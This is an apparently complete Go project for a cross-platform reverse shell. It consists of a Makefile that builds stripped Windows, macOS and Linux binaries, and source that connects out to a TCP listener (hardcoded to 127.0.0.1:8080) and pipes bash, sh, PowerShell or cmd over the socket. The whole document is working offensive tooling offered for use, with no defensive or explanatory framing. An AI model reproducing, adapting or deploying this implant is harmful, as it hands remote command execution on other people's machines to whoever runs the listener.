Basic cross-platform reverse shell in Go

Makefile

EXE = shell
SRC = .
LDFLAGS = -ldflags="-s -w"

windows:
	GOOS=windows go build -o $(EXE)_win.exe $(LDFLAGS) $(SRC)

macos:
	GOOS=darwin go build -o $(EXE)_macos $(LDFLAGS) $(SRC)

linux:
	GOOS=linux go build -o $(EXE)_linux $(LDFLAGS) $(SRC)

all: windows macos linux
	echo "done."

clean:
	rm -f $(EXE)_win.exe $(EXE)_macos $(EXE)_linux

shell.go

package main

import (
	"log"
	"net"
	"os"
	"os/exec"
)

const (
	// Read buffer
	readBufSize = 128
)

func exists(path string) bool {
	_, err := os.Stat(path)
	if err == nil {
		return true
	}
	if os.IsNotExist(err) {
		return false
	}
	return true
}

// ReverseShell - Execute a reverse shell to host
func reverseShell(command string, send chan<- []byte, recv <-chan []byte) {
	var cmd *exec.Cmd
	cmd = exec.Command(command)

	stdin, _ := cmd.StdinPipe()
	stdout, _ := cmd.StdoutPipe()
	stderr, _ := cmd.StderrPipe()

	go func() {
		for {
			select {
			case incoming := <-recv:
				log.Printf("[*] shell stdin write: %v", incoming)
				stdin.Write(incoming)
			}
		}
	}()

	go func() {
		for {
			buf := make([]byte, readBufSize)
			stderr.Read(buf)
			log.Printf("[*] shell stderr read: %v", buf)
			send <- buf
		}
	}()

	cmd.Start()
	for {
		buf := make([]byte, readBufSize)
		stdout.Read(buf)
		log.Printf("[*] shell stdout read: %v", buf)
		send <- buf
	}
}

func main() {
	conn, _ := net.Dial("tcp", "127.0.0.1:8080")
	shellPath := GetSystemShell()

	send := make(chan []byte)
	recv := make(chan []byte)

	go reverseShell(shellPath, send, recv)

	go func() {
		for {
			data := make([]byte, readBufSize)
			conn.Read(data)
			recv <- data
		}
	}()

	for {
		select {
		case outgoing := <-send:
			conn.Write(outgoing)
		}
	}

}

shell_darwin.go

package main

const (
	// Shell constants
	bash = "/bin/bash"
	sh   = "/bin/sh"
)

func GetSystemShell() string {
	if exists(bash) {
		return bash
	}
	return sh
}

shell_linux.go

package main

const (
	// Shell constants
	bash = "/bin/bash"
	sh   = "/bin/sh"
)

func GetSystemShell() string {
	if exists(bash) {
		return bash
	}
	return sh
}

shell_windows.go

package main

const (
	// Shell constants
	commandPrompt = "C:\\Windows\\System32\\cmd.exe"
	powerShell    = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
)

func GetSystemShell() string {
	if exists(powerShell) {
		return powerShell
	}
	return commandPrompt
}